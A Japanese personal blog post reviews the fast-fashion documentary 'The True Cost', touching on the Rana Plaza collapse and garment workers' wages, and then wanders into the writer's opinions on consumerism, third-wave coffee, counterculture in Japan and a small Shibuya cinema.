服の対価
2018/03/27
血の染み込んだ洋服
その激安の服のせいで、誰かが死んでる
って聞いたらどう思います? アパレル関係で生活している人ならそのアンテナに一度は引っかかったであろう映画、『The True Cost』観てきました。
作品作りのきっかけは、日本のニュースでも大きく取り上げられた、2013年バングラデシュのラナ・プラザ倒壊事故。
欧米アパレルブランドの縫製を下請けする工場が入っており、数千台のミシンと違法に設置された複数の大型発電機の振動にビルが耐え切れずに倒壊、3,500名を超える死傷者を出す大惨事となりました。
この映画の監督は、自身が好んでよく着ているファストファッションブランドにまつわるこのような事例を知らずにいたことにショックを受けて、調べよう撮ろうと思ったと言います。
ラナ・プラザの件では、いくつもの大きな亀裂の入るビルの補修を、縫い子女性たちが以前から訴えていたのに受け入れられず、当日も一旦避難していたところを経営者の命令で屋内に戻り作業を始めた後で起こった事故でした。いわば人災。
一見ファッションとは関係ないように見える事故の奥に、先進国で売られている異常なほどに安価なファッションウェアが労働者の命までも奪っている現実がありました。
カンボジアのプノンペンでは、賃金アップを求めた縫製工場労働者のデモに対して軍警察が鎮圧のために発砲(!)までしているのです。死者も出ました。
たかが(ええ、命そのものに比べたら)洋服を作る仕事が、国に実力行使で殺されることすらあるなんて。そもそも月給80ドルの彼らには、劣悪な環境で丸一日働いたとしても、先進国で激安で売られるその洋服一枚すら買うことが出来ないのです。
西インド諸島の島国ハイチには、先進国から大量の古着が輸送されてきます。しかしその中でリユースに適うコンディションのものは1割程度しかないといいます(つまり9割はゴミということ)。東北の震災のときにも同じ様な事例がありましたね。「あなたが着なくなって不用になったものを送られても困ります」とボランティアがテレビで訴えていました。
stylewiseblog.blogspot.com/Leah Wise
他にも皮革染色の汚染排水や綿花農場での農薬散布による障害などを取り上げています。ただ、それを直接結び付ける証拠はありません。縫製工場に勤めるあるインド人女性は、「私たちの血が染み込んだ服を誰にも着て欲しくない」とインタビューに答えます。
一方で、縫製工場の経営者は、
「我々は仕事を与えてやっているんだ。文句を言われる筋合いはない」
と言い、ファストファッションブランドの広報は「私たちの製品を作る工場だけが、その土地で格段に低い労働賃金というわけではありません」と説明します。
華やかなランウェイコレクションや、「すごいカワイイでしょ! もう一目ぼれ! 絶対買わなきゃって。でも着るか分からないけどね。とにかく買っちゃった!」と手に入れたファストファッションブランドを次から次へとネット上に発信する若いYou tuberたち、ブラックフライデーのショッピングモールやショップオープンに殺到する人たち。
映画はそんな両者をコントラスト強めにコラージュしていきます。
まさにriot(暴動)。この人たちホントに欲しいもの買えてるんでしょうかね?
カウンターアクションとして、フェアユースを進めるNGOやその横暴さを非難するジャーナリズムもピックアップしてはいますが、世界規模のメガ企業相手に劣勢は否めません。工場オーナーにしても、「いま5ドルの工賃を4ドルにしろ。さもなくば契約は打ち切りだ」と言われれば、要求を飲むしかありません。映画のなかでもそう心情を吐露する経営者の姿もありました。
とすれば何がその巨象の暴走を止められるかといえば、やはり個々の消費者なんだと思います。ファッション誌が「ユニクロでよくない?」なんて特集を組むのは
デカい広告費ブチ込まれてるからですよ。
雑誌も売れなくなっている昨今やむを得ない台所事情なのは分かりますが、ファッション好きにとって今はもう少し踏み込んだインテリジェンスのある服の選び方があるのではないでしょうか。その結果がユニクロやH&Mであるのならそれはそれで。
「ファストファッションブランドってダサいとか質が悪いとかいう奴いるけどそんなことないし」という意見をネット上で目にもしますが、これはそういうフェーズの話ではありません。
カツ丼一杯、今まで駅前のソバ屋で650円だったのに、あるチェーン店だと同様のボリュームで100円だってなったら「それ大丈夫?」って思いますでしょ。何かヤバい材料使ってるか養豚業者か養鶏業者かそこで働いてる人が相当割食ってるんじゃないかって、カツ丼ラバーなら「安いのはありがたいけど、それちょっと色々と食いづらいな」ってなりませんかね。合ってますかねこの例え?
『物欲なき世界』をサバイブする
ファッション誌が物欲の少なくなった若い読者層に向けて、食やインテリアやコミュニティーとの接し方まで含めた”ライフスタイル誌”となり、それに追随するようにセレクトショップがライフスタイルショップ化していく過程や、自分たちの手に入る範囲のもので作り、実店舗に通える顧客への販売を主とするブルックリンやポートランドのスモールコミュニティービジネスを紹介しながら、この本のなかでこれからの消費生活への提案を図っていきます。
ふと頭に浮かんだのは、毎日の生活を快適に過ごすためのモノが売っているのがライフスタイルショップだとすると、大多数の日本人にとって、
それってコンビニですよね。
実はこの本には載っていないのですが、著者の意見で一番ひざを打ったのが、ネットのあるインタビュー記事にあったこちら。
ただ、日本とアメリカで大きく違うことがひとつあります。それは若者文化の基本にカウンターカルチャー(対抗文化)があるかどうかです。つまり、アメリカでは上の世代に代わる新しい文化をつくる。新しいことを提案して前の文化をつぶすという意識が色濃く残っています。
オーガニックやサードウェーブコーヒーも根本的にはカウンターカルチャーがあるわけです。どちらも前の制度を乗り越えようという気概がある動きですが、日本ではカウンターカルチャーとしてではなく新しいトレンドとして消費されている。このままでは物欲レスの先の世界でアドバンテージを握ることはできないでしょう。
いやまさに。我が意を得たり。
自然災害の多い日本には、抗いようのない力に曝されたときにいかに畳みやすく(壊れやすい木造建築とか)被害をやり過ごせるかという考えが根底にあると思うんですね。それを文化といっていいのか分かりませんが、形あるものはいつか壊れるからその時まで持たせられればいい、お天道様に壊されたらまたやり直すだけよという精神性。
その反面、人為的な急激な変化をあまり好まない。
大阪都構想とかairbnbとか。前の制度を乗り越えようというカウンターカルチャー精神なるものは元々あんまりないんじゃないですかね。国の成り立ちからして(先住民の)征服、領地の奪い合いをやってきたアメリカとそりゃメンタリティー違いますよ。
意識高い系
ライフスタイルという言葉が浸透するとともに、その界隈ではポートランドやエースホテル、クラフトなどがホットワード化。その勢いに乗ってコーヒー界のアップルの異名を持つBlue Bottle CoffeeやShake Shackが日本上陸しました。
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サードウェーブコーヒー(言葉の由来については長くなるので割愛しますが)は、エスプレッソを使ったミルキーなシアトルコーヒーがスタンダードなご時世、もっと旨いコーヒー飲みたいよねといった好き者が、好みの豆を探して自宅のガレージに焙煎機を入れたりして個人的に楽しんでいたものです(Blue Bottleなんかはまさにそう。ジョブスとウォズがAppleⅠを作った環境と似ているところも異名の理由のひとつ)。周りに振る舞ってみたら評判が良く、「何だみんなこういうの好きなんじゃん。じゃ焙煎した豆売ってみっか」というのが事の始まりです。
ニューウェーブハンバーガーは、「マクダーナルって旨いと思う? 何か色々問題も多いし、安心して食べられないよね」という空気のなかで生まれました。アメリカ各地、世界中からラブコールを受けているIn-n-Outが西海岸からの一部エリアに留まっているのは、手広くやるとクオリティーの高いミートパティを維持出来ないからといいます。
全部メジャーに対するものいいから始まってます。ファッションでもノームコア(短かったなw)は華美なブランド志向に対するカウンターでしたから。それを大手が誘って東京に持ってくる。すると大行列。コンビニコーヒーの方がよっぽど第3の波になってますよ。ローカリスティックで安心な旨いハンバーガーがいいならモスバーガーがあるじゃないですか。

伏兵ですが機会があったら飲んでみてください
ここまで噛みつくのは私が食に対して興味がないからで、また違う方面からは「服にそんな高い金使ってバカじゃないの」と言われていると思いますので、そこはお互い様ということで。いろんなコンビニコーヒー試しましたけど、横浜ローカルのスリーエフのシングルオリジンが一番旨いです。セブンカフェはそんなでもない。以上蛇足でした。
東京はいい都市ですよ。世界中のトレンドがキャッチアップ出来て実際に最先端のお店も体験できます。交通機関のアクセスもいいし町もきれいだし治安もいいし。ですが特に中心街は外から一時的に流入している人が大多数なので、そのコミュニティーに属している意識は薄い。ハロウィンの翌朝がゴミだらけだったのは記憶に新しいところです。
日本の場合、
“自意識高い“
なんでしょうね。だから(笑)付きで揶揄されちゃうんですよ。
興味あればあるほどいやな後味

最前列なんてほとんど地べた
『The True Cost』の上映は渋谷のUPLINKという小さな映画館です。席数40席ちょっと。グーグルマップを頼りに辿り着いた時は、こんな雑居ビルの中に映画館? 検索間違えたかと思いました。CNNでも「日本で一番小さな映画館」として紹介されたこともあるそうで、これに比べたら伊勢佐木町のジャックアンドベティなんてビッグシアターですよ。
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何だか重たい気持ちで映画館を出るとそこは華やかなりしマテリアルワールドシブヤ。ここを通り過ぎてようやく映画観終わった気分になりました。ハッピーエンドではありませんが。
今週はこれ観に再度乗り込みます。本チャンの戦争ドキュメンタリー。